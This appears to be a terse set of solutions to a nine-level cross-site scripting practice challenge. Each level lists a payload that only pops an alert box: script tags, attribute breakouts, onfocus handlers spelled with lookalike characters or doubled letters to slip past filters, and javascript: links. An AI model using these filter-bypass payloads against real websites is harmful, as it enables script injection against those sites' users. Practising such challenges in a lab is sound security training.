Leve-1:
<script>alert('xss')</script>
Leve-2:
"><script>alert('xss')</script>
Leve-3:
'οnfοcus=javascript:alert('xss') >
Leve-4:
"οnfοcus=javascript:alert('xss') "
Leve-5
"><a href=javascript:alert('xss')>xss</a>
Leve-6
"Onfocus=javascript:alert('xss') "
Leve-7
"oonnfocus=javascriscriptpt:alert('xss') "
Leve-8
javascript:alert(1)
Leve-9
javascript:alert('xss')
javascript:alert('http://')